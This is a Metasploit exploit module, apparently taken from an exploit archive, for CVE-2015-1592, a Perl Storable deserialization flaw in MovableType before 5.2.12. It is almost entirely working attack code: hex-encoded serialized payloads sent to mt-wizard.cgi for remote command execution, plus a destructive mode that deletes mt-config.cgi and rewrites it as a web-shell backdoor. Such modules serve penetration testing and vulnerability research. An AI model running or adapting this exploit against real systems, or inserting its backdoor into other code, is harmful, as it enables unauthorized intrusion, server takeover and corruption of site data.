SixApart MovableType – Storable Perl Code Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'SixApart MovableType Storable Perl Code Execution', 'Description' => %q{ This module exploits a serialization flaw in MovableType before 5.2.12 to execute arbitrary code. The default nondestructive mode depends on the target server having the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths. The destructive mode of operation uses only required MovableType dependencies, but it will noticeably corrupt the MovableType installation. }, 'Author' => [ 'John Lightsey', ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2015-1592' ], [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ], ], 'Privileged' => false, # web server context 'Payload' => { 'DisableNops' => true, 'BadChars' => ' ', 'Space' => 1024, }, 'Compat' => { 'PayloadType' => 'cmd' }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [['Automatic', {}]], 'DisclosureDate' => 'Feb 11 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']), OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false]) ], self.class ) end =begin #!/usr/bin/perl # generate config parameters for injection checks use Storable; { package XXXCHECKXXX; sub STORABLE_thaw { return 1; } sub STORABLE_freeze { return 1; } } my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX; my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj}); $frozen = unpack 'H*', $frozen; print "LFI test for storable flaw is: $frozen\n"; { package DateTime; use overload '+' => sub { 'ignored' }; } =end def check vprint_status("#{peer} - Sending storable test injection for XXXCHECKXXX.pm load failure") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), 'vars_get' => { '__mode' => 'retry', 'step' => 'configure', 'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078' } }) unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm") vprint_status("#{peer} - Failed XXXCHECKXXX.pm load test"); return Exploit::CheckCode::Safe end Exploit::CheckCode::Vulnerable end def exploit if datastore['DESTRUCTIVE'] == true exploit_destructive else exploit_nondestructive end end =begin #!/usr/bin/perl # Generate nondestructive config parameter for RCE via Object::MultiType # and Try::Tiny. The generated value requires minor modification to insert # the payload inside the system() call and resize the padding. use Storable; { package Object::MultiType; use overload '+' => sub { 'ingored' }; } { package Object::MultiType::Saver; } { package DateTime; use overload '+' => sub { 'ingored' }; } { package Try::Tiny::ScopeGuard; } my $try_tiny_loader = bless {}, 'DateTime'; my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver'; my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType'; my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard'; my $data = [$try_tiny_loader, $try_tiny_executor]; my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data); $frozen = unpack 'H*', $frozen; print "RCE payload requiring Object::MultiType and DateTime: $frozen\n"; =end def exploit_nondestructive print_status("#{peer} - Using nondestructive attack method") config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b" config_payload << payload.encoded.unpack('H*')[0] config_payload << "7d293b" config_payload << "23" * (1025 - payload.encoded.length) config_payload << "0a657869743b" print_status("#{peer} - Sending payload (#{payload.raw.length} bytes)") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), 'vars_get' => { '__mode' => 'retry', 'step' => 'configure', 'config' => config_payload } }, 5) end =begin #!/usr/bin/perl # Generate destructive config parameter to unlink mt-config.cgi use Storable; { package CGITempFile; } my $unlink_target = "mt-config.cgi"; my $cgitempfile = bless \$unlink_target, "CGITempFile"; my $data = [$cgitempfile]; my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data); $frozen = unpack 'H*', $frozen; print "RCE unlink payload requiring CGI: $frozen\n"; =end def exploit_destructive print_status("#{peer} - Using destructive attack method") # First we need to delete mt-config.cgi using the storable injection print_status("#{peer} - Sending storable injection to unlink mt-config.cgi") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), 'vars_get' => { '__mode' => 'retry', 'step' => 'configure', 'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769' } }) if res && res.code == 200 print_status("Successfully sent unlink request") else fail_with(Failure::Unknown, "Error sending unlink request") end # Now we rewrite mt-config.cgi to accept a payload print_status("#{peer} - Rewriting mt-config.cgi to accept the payload") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), 'vars_get' => { '__mode' => 'next_step', 'step' => 'optional', 'default_language' => 'en_us', 'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1", 'set_static_uri_to' => '/', 'config' => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/', } }) if res && res.code == 200 print_status("Successfully sent mt-config rewrite request") else fail_with(Failure::Unknown, "Error sending mt-config rewrite request") end # Finally send the payload print_status("#{peer} - Sending payload request") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'mt.cgi'), 'vars_get' => { 'xyzzy' => payload.encoded, } }, 5) end end |